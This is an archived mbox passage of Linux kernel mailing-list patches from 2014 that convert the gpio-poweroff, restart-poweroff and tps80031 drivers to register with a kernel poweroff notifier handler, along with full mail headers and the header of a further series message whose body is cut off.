Xref: news.gmane.org gmane.comp.emulators.xen.devel:218370 gmane.linux.kernel:1802465 gmane.linux.ports.mips.general:44176 gmane.linux.kernel.efi:4742 gmane.linux.ports.ia64:24495 gmane.linux.kernel.virtualization.lguest:1474 gmane.linux.ports.hexagon:806 gmane.linux.ports.sh.devel:39799 gmane.linux.acpi.devel:71288 gmane.linux.drivers.devicetree:93055 gmane.linux.uml.devel:14678 gmane.linux.power-management.general:50630 gmane.linux.ports.tegra:19488 gmane.linux.kernel.openipmi:2465 gmane.linux.kernel.metag:326 gmane.linux.ports.arm.kernel:362360 gmane.linux.ports.parisc:6101 gmane.linux.ports.alpha:2459 gmane.linux.ports.ppc64.devel:105885
Archived-At: <http://permalink.gmane.org/gmane.comp.emulators.xen.devel/218370>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Register with a low priority value of 64 to reflect that
the original code only sets pm_power_off if it was not already set.

Other changes:

Drop note that there can not be an additional instance of this driver.
The original reason no longer applies, it should be obvious that there
can only be one instance of the driver if static variables are used to
reflect its state, and support for multiple instances can now be added
easily if needed by avoiding static variables.

Do not create an error message if another poweroff handler has already been
registered. This is perfectly normal and acceptable.

Do not display a warning traceback if the poweroff handler fails to
power off the system. There may be other poweroff handlers.

Cc: Sebastian Reichel <sre@kernel.org>
Cc: Dmitry Eremin-Solenikov <dbaryshkov@gmail.com>
Cc: David Woodhouse <dwmw2@infradead.org>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 drivers/power/reset/gpio-poweroff.c | 36 ++++++++++++++++++------------------
 1 file changed, 18 insertions(+), 18 deletions(-)

diff --git a/drivers/power/reset/gpio-poweroff.c b/drivers/power/reset/gpio-poweroff.c
index ce849bc..e95a7a1 100644
--- a/drivers/power/reset/gpio-poweroff.c
+++ b/drivers/power/reset/gpio-poweroff.c
@@ -14,18 +14,18 @@
 #include <linux/kernel.h>
 #include <linux/init.h>
 #include <linux/delay.h>
+#include <linux/notifier.h>
+#include <linux/pm.h>
 #include <linux/platform_device.h>
 #include <linux/gpio/consumer.h>
 #include <linux/of_platform.h>
 #include <linux/module.h>
 
-/*
- * Hold configuration here, cannot be more than one instance of the driver
- * since pm_power_off itself is global.
- */
 static struct gpio_desc *reset_gpio;
 
-static void gpio_poweroff_do_poweroff(void)
+static int gpio_poweroff_do_poweroff(struct notifier_block *this,
+				     unsigned long unused1, void *unused2)
+
 {
 	BUG_ON(!reset_gpio);
 
@@ -42,20 +42,18 @@ static void gpio_poweroff_do_poweroff(void)
 	/* give it some time */
 	mdelay(3000);
 
-	WARN_ON(1);
+	return NOTIFY_DONE;
 }
 
+static struct notifier_block gpio_poweroff_nb = {
+	.notifier_call = gpio_poweroff_do_poweroff,
+	.priority = 64,
+};
+
 static int gpio_poweroff_probe(struct platform_device *pdev)
 {
 	bool input = false;
-
-	/* If a pm_power_off function has already been added, leave it alone */
-	if (pm_power_off != NULL) {
-		dev_err(&pdev->dev,
-			"%s: pm_power_off function already registered",
-		       __func__);
-		return -EBUSY;
-	}
+	int err;
 
 	reset_gpio = devm_gpiod_get(&pdev->dev, NULL);
 	if (IS_ERR(reset_gpio))
@@ -77,14 +75,16 @@ static int gpio_poweroff_probe(struct platform_device *pdev)
 		}
 	}
 
-	pm_power_off = &gpio_poweroff_do_poweroff;
-	return 0;
+	err = register_poweroff_handler(&gpio_poweroff_nb);
+	if (err)
+		dev_err(&pdev->dev, "Failed to register poweroff handler\n");
+
+	return err;
 }
 
 static int gpio_poweroff_remove(struct platform_device *pdev)
 {
-	if (pm_power_off == &gpio_poweroff_do_poweroff)
-		pm_power_off = NULL;
+	unregister_poweroff_handler(&gpio_poweroff_nb);
 
 	return 0;
 }
-- 
1.9.1

From - Thu Nov 08 21:10:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.acpi.devel,gmane.linux.drivers.devicetree,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 20/44] power/reset: restart-poweroff: Register with kernel
 poweroff handler
Date: Mon,  6 Oct 2014 22:28:22 -0700
Lines: 66
Approved: news@gmane.org
Message-ID: <1412659726-29957-21-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412659904 26977 80.91.229.3 (7 Oct 2014 05:31:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:31:44 +0000 (UTC)
Cc: linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
 linux-efi@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-xtensa@linux-xtensa.org, devel@driverdev.osuosl.org,
 linux-s390@vger.kernel.org, lguest@lists.ozlabs.org,
 linux-c6x-dev@linux-c6x.org, Dmitry Eremin-Solenikov <dbaryshkov@gmail.com>,
 linux-hexagon@vger.kernel.org, linux-sh@vger.kernel.org,
 linux-acpi@vger.kernel.org, xen-devel@lists.xenproject.org,
 Guenter Roeck <linux@roeck-us.net>, devicetree@vger.kernel.org,
 user-mode-linux-devel@lists.sourceforge.net, linux-pm@vger.kernel.org,
 adi-buildroot-devel@lists.sourceforge.net, linux-m68k@lists.linux-m68k.org,
 linux-am33-list@redhat.com, linux-tegra@vger.kernel.org,
 openipmi-developer@lists.sourceforge.net, linux-metag@vger.kernel.org,
 linux-arm-kernel@lists.infradead.org, linux-parisc@vger.kernel.org,
 linux-cris-kernel@axis.com, David Woodhouse <dwmw2@infr
To: linux-kernel@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Tue Oct 07 07:31:37 2014
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1XbNMz-0003iL-G7
	for linux-arm-kernel@m.gmane.org; Tue, 07 Oct 2014 07:31:33 +0200
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1XbNMZ-0000Xz-GA; Tue, 07 Oct 2014 05:31:07 +0000
Original-Received: from bh-25.webhostbox.net ([208.91.199.152])
 by bombadil.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
 id 1XbNMA-0008T0-7X
 for linux-arm-kernel@lists.infradead.org; Tue, 07 Oct 2014 05:30:42 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net;
 s=default; 
 h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From;
 bh=A29Znti1Q44C4ORp3L2TfK0F+dX9IxYJrEIa3yDbvJ8=; 
 b=osL0DWIqszt9pp3mGtxoNWZkOm6Q0u4y0mzVCh0rTfR5uR4bV1FtvlkXXzwzd4JjV1GJ3eQSKl95J7nnhL85+jwSjVtNNX+OV2tzirw6VhXnTh5NPkJkzuc7RnuCP0JoIzV0A1/VU6TXeqUXdud3mXVIh1qkH/a58TZsdY+d2kg=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
 (envelope-from <linux@roeck-us.net>) id 1XbNLr-002fBE-Vp
 for linux-arm-kernel@lists.infradead.org; Tue, 07 Oct 2014 05:30:24 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net
 ([108.223.40.66]:32915 helo=localhost)
 by bh-25.webhostbox.net with esmtpa (Exim 4.82)
 (envelope-from <linux@roeck-us.net>)
 id 1XbNLD-002bYx-2W; Tue, 07 Oct 2014 05:29:45 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
 VirusClass_Unknown autolearn=disabled version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020206.54337A70.0053, ss=1, re=0.000, recu=0.000,
 reip=0.000, cl=1, cld=1, fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 593
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse,
 please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - lists.infradead.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from
 get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20141006_223042_432854_AFD38216 
X-CRM114-Status: GOOD (  12.18  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.0 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.18-1
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:362361 gmane.linux.kernel:1802466 gmane.linux.ports.mips.general:44177 gmane.linux.kernel.efi:4743 gmane.linux.ports.ia64:24496 gmane.linux.kernel.virtualization.lguest:1475 gmane.linux.ports.hexagon:807 gmane.linux.ports.sh.devel:39800 gmane.linux.acpi.devel:71289 gmane.linux.drivers.devicetree:93056 gmane.linux.uml.devel:14679 gmane.linux.power-management.general:50631 gmane.linux.ports.tegra:19489 gmane.linux.kernel.openipmi:2466 gmane.linux.kernel.metag:327 gmane.linux.ports.parisc:6102 gmane.linux.ports.alpha:2460 gmane.linux.ports.ppc64.devel:105886
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/362361>

Register with kernel poweroff handler instead of seting pm_power_off
directly.  Register as poweroff handler of last resort since the driver
does not really power off the system but executes a restart.

Cc: Sebastian Reichel <sre@kernel.org>
Cc: Dmitry Eremin-Solenikov <dbaryshkov@gmail.com>
Cc: David Woodhouse <dwmw2@infradead.org>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 drivers/power/reset/restart-poweroff.c | 25 ++++++++++++-------------
 1 file changed, 12 insertions(+), 13 deletions(-)

diff --git a/drivers/power/reset/restart-poweroff.c b/drivers/power/reset/restart-poweroff.c
index edd707e..5437697 100644
--- a/drivers/power/reset/restart-poweroff.c
+++ b/drivers/power/reset/restart-poweroff.c
@@ -12,35 +12,34 @@
  */
 #include <linux/kernel.h>
 #include <linux/init.h>
+#include <linux/notifier.h>
 #include <linux/platform_device.h>
 #include <linux/of_platform.h>
 #include <linux/module.h>
+#include <linux/pm.h>
 #include <linux/reboot.h>
-#include <asm/system_misc.h>
 
-static void restart_poweroff_do_poweroff(void)
+static int restart_poweroff_do_poweroff(struct notifier_block *this,
+					unsigned long unused1, void *unused2)
 {
 	reboot_mode = REBOOT_HARD;
 	machine_restart(NULL);
+
+	return NOTIFY_DONE;
 }
 
+static struct notifier_block restart_poweroff_handler = {
+	.notifier_call = restart_poweroff_do_poweroff,
+};
+
 static int restart_poweroff_probe(struct platform_device *pdev)
 {
-	/* If a pm_power_off function has already been added, leave it alone */
-	if (pm_power_off != NULL) {
-		dev_err(&pdev->dev,
-			"pm_power_off function already registered");
-		return -EBUSY;
-	}
-
-	pm_power_off = &restart_poweroff_do_poweroff;
-	return 0;
+	return register_poweroff_handler(&restart_poweroff_handler);
 }
 
 static int restart_poweroff_remove(struct platform_device *pdev)
 {
-	if (pm_power_off == &restart_poweroff_do_poweroff)
-		pm_power_off = NULL;
+	unregister_poweroff_handler(&restart_poweroff_handler);
 
 	return 0;
 }
-- 
1.9.1

From - Thu Nov 08 21:10:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 14/44] mfd: tps80031: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:16 -0700
Lines: 103
Approved: news@gmane.org
Message-ID: <1412659726-29957-15-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659905 26995 80.91.229.3 (7 Oct 2014 05:31:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:31:45 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Samuel Ortiz
To: linux-kernel@vger.kernel.org
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Oct 07 07:31:37 2014
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1XbNMx-0003UJ-LH
	for glpi-linux-ia64-2@plane.gmane.org; Tue, 07 Oct 2014 07:31:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754158AbaJGFb3 (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Tue, 7 Oct 2014 01:31:29 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:41531 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754072AbaJGFbI (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Tue, 7 Oct 2014 01:31:08 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=C5/zgksP5rmyjYJWibCtfNKrmzKSx1BsuOizBQgzpbw=;
	b=hnNGFjZ7agVitSe/7ZreKkkewxHIUqmT+LMeC/JO6vDXEFWH1VZgrYRk96zXmbhhWQZBSOeHOjDd1TN/9ao44JDd7lGd3MFgGC/8AJBmUyVgHax0Q4BZO+17h+6F/qjRMjWokak+snv0aQM/KTYv6e4i0XzWHcEp5e5F9t3mpwY=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNMZ-002kYu-RZ
	for linux-ia64@vger.kernel.org; Tue, 07 Oct 2014 05:31:08 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32909 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNKz-002acn-Vm; Tue, 07 Oct 2014 05:29:30 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=2.8
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: *
X-Spam-Status: No, score=2.0 required=50.0 tests=SpamClass_Suspect,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Suspect
X-CTCH-VOD: Unknown
X-CTCH-Flags: 512
X-CTCH-RefID: str=0001.0A020208.54337A9C.0045,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=512,sb=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 1047
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 48
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:24497 gmane.linux.kernel:1802467 gmane.linux.drivers.devicetree:93057 gmane.linux.kernel.virtualization.lguest:1476 gmane.linux.acpi.devel:71290 gmane.linux.ports.alpha:2461 gmane.linux.kernel.efi:4744 gmane.linux.ports.hexagon:808 gmane.linux.ports.ppc64.devel:105887 gmane.linux.ports.tegra:19490 gmane.linux.kernel.openipmi:2467 gmane.linux.uml.devel:14680 gmane.linux.ports.arm.kernel:362362 gmane.linux.kernel.metag:328 gmane.linux.ports.mips.general:44178 gmane.linux.ports.parisc:6103 gmane.linux.power-management.general:50632 gmane.linux.ports.sh.devel:39801
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/24497>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Register with a low priority value of 64 to reflect that
the original code only sets pm_power_off if it was not already set.

Cc: Samuel Ortiz <sameo@linux.intel.com>
Cc: Lee Jones <lee.jones@linaro.org>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 drivers/mfd/tps80031.c       | 30 ++++++++++++++++++------------
 include/linux/mfd/tps80031.h |  2 ++
 2 files changed, 20 insertions(+), 12 deletions(-)

diff --git a/drivers/mfd/tps80031.c b/drivers/mfd/tps80031.c
index ed6c5b0..24625a6 100644
--- a/drivers/mfd/tps80031.c
+++ b/drivers/mfd/tps80031.c
@@ -147,7 +147,6 @@ static const struct tps80031_pupd_data tps80031_pupds[] = {
 	[TPS80031_CTLI2C_SCL]		= PUPD_DATA(4, 0,	BIT(2)),
 	[TPS80031_CTLI2C_SDA]		= PUPD_DATA(4, 0,	BIT(3)),
 };
-static struct tps80031 *tps80031_power_off_dev;
 
 int tps80031_ext_power_req_config(struct device *dev,
 		unsigned long ext_ctrl_flag, int preq_bit,
@@ -209,11 +208,17 @@ int tps80031_ext_power_req_config(struct device *dev,
 }
 EXPORT_SYMBOL_GPL(tps80031_ext_power_req_config);
 
-static void tps80031_power_off(void)
+static int tps80031_power_off(struct notifier_block *this,
+			      unsigned long unused1, void *unused2)
 {
-	dev_info(tps80031_power_off_dev->dev, "switching off PMU\n");
-	tps80031_write(tps80031_power_off_dev->dev, TPS80031_SLAVE_ID1,
-				TPS80031_PHOENIX_DEV_ON, TPS80031_DEVOFF);
+	struct tps80031 *tps80031 = container_of(this, struct tps80031,
+						 poweroff_nb);
+
+	dev_info(tps80031->dev, "switching off PMU\n");
+	tps80031_write(tps80031->dev, TPS80031_SLAVE_ID1,
+		       TPS80031_PHOENIX_DEV_ON, TPS80031_DEVOFF);
+
+	return NOTIFY_DONE;
 }
 
 static void tps80031_pupd_init(struct tps80031 *tps80031,
@@ -501,9 +506,13 @@ static int tps80031_probe(struct i2c_client *client,
 		goto fail_mfd_add;
 	}
 
-	if (pdata->use_power_off && !pm_power_off) {
-		tps80031_power_off_dev = tps80031;
-		pm_power_off = tps80031_power_off;
+	if (pdata->use_power_off) {
+		tps80031->poweroff_nb.notifier_call = tps80031_power_off;
+		tps80031->poweroff_nb.priority = 64;
+		ret = register_poweroff_handler(&tps80031->poweroff_nb);
+		if (ret)
+			dev_err(&client->dev,
+				"Failed to register poweroff handler\n");
 	}
 	return 0;
 
@@ -523,10 +532,7 @@ static int tps80031_remove(struct i2c_client *client)
 	struct tps80031 *tps80031 = i2c_get_clientdata(client);
 	int i;
 
-	if (tps80031_power_off_dev == tps80031) {
-		tps80031_power_off_dev = NULL;
-		pm_power_off = NULL;
-	}
+	unregister_poweroff_handler(&tps80031->poweroff_nb);
 
 	mfd_remove_devices(tps80031->dev);
 
diff --git a/include/linux/mfd/tps80031.h b/include/linux/mfd/tps80031.h
index 2c75c9c..49bc006 100644
--- a/include/linux/mfd/tps80031.h
+++ b/include/linux/mfd/tps80031.h
@@ -24,6 +24,7 @@
 #define __LINUX_MFD_TPS80031_H
 
 #include <linux/device.h>
+#include <linux/notifier.h>
 #include <linux/regmap.h>
 
 /* Pull-ups/Pull-downs */
@@ -513,6 +514,7 @@ struct tps80031 {
 	struct i2c_client	*clients[TPS80031_NUM_SLAVES];
 	struct regmap		*regmap[TPS80031_NUM_SLAVES];
 	struct regmap_irq_chip_data *irq_data;
+	struct notifier_block	poweroff_nb;
 };
 
 struct tps80031_pupd_init_data {
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.comp.emulators.xen.devel,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.acpi.devel,gmane.linux.drivers.devicetree,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 08/44] kernel: Move pm_power_off to common code
Date: Mon,  6 Oct 2014 22:28:10 -0700
Lines: 918
Approved: news@gmane.org
Message-ID: <1412659726-29957-9-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412659919 27180 80.91.229.3 (7 Oct 2014 05:31:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:31:59 +0000 (UTC)
Cc: linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
	linux-efi@vger.kernel.org, linux-ia64@vger.kernel.org,
	Steven Miao <realmz6@gmail.com>, linux-xtensa@linux-xtensa.org,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, David Howells <dhowells@redhat.com>,
	Max Filippov <jcmvbkbc@gmail.com>, Paul Mackerras <paulus@samba.org>,
	Ralf Baechle <ralf@linux-mips.org>, Pavel Machek <pavel@ucw.cz>,
	"H. Peter Anvin" <hpa@zytor.com>, Guan Xuetao <gxt@mprc.pku.edu.cn>,
	Thomas Gleixner <tglx@linutronix.de>, Lennox Wu <lennox.wu@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	devel@driverdev.osuosl.org, linux-s390@vger.kernel.org,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	lguest@lists.ozlabs.org, Russell King <linux@arm.linux.org.uk>,
	linux-c6x-dev@linux-c6x.org, Len Brown <len.brown@intel.co
To: linux-kernel@vger.kernel.org
Original-X-From: xen-devel-bounces@lists.xen.org Tue Oct 07 07:31:43 2014
Return-path: <xen-devel-bounces@lists.xen.org>
Envelope-to: gcvxd-xen-devel@m.gmane.org
Original-Received: from lists.xen.org ([50.57.142.19])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <xen-devel-bounces@lists.xen.org>)
	id 1XbNN0-0003iX-4Z
	for gcvxd-xen-devel@m.gmane.org; Tue, 07 Oct 2014 07:31:34 +0200
Original-Received: from localhost ([127.0.0.1] helo=lists.xen.org)
	by lists.xen.org with esmtp (Exim 4.72)
	(envelope-from <xen-devel-bounces@lists.xen.org>)
	id 1XbNMT-0004VU-4c; Tue, 07 Oct 2014 05:31:01 +0000
Original-Received: from mail6.bemta4.messagelabs.com ([85.158.143.247])
	by lists.xen.org with esmtp (Exim 4.72)
	(envelope-from <linux@roeck-us.net>) id 1XbNMR-0004TU-53
	for xen-devel@lists.xenproject.org; Tue, 07 Oct 2014 05:30:59 +0000
Original-Received: from [85.158.143.35:54747] by server-1.bemta-4.messagelabs.com id
	41/8F-05872-29A73345; Tue, 07 Oct 2014 05:30:58 +0000
X-Env-Sender: linux@roeck-us.net
X-Msg-Ref: server-2.tower-21.messagelabs.com!1412659855!6228230!1
X-Originating-IP: [208.91.199.152]
X-SpamReason: No, hits=0.8 required=7.0 tests=BODY_RANDOM_LONG,
	MAILTO_TO_SPAM_ADDR,UNPARSEABLE_RELAY
X-StarScan-Received: 
X-StarScan-Version: 6.12.2; banners=-,-,-
X-VirusChecked: Checked
Original-Received: (qmail 25728 invoked from network); 7 Oct 2014 05:30:56 -0000
Original-Received: from bh-25.webhostbox.net (HELO bh-25.webhostbox.net)
	(208.91.199.152)
	by server-2.tower-21.messagelabs.com with DHE-RSA-AES256-SHA encrypted
	SMTP; 7 Oct 2014 05:30:56 -0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net;
	s=default; 
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From;
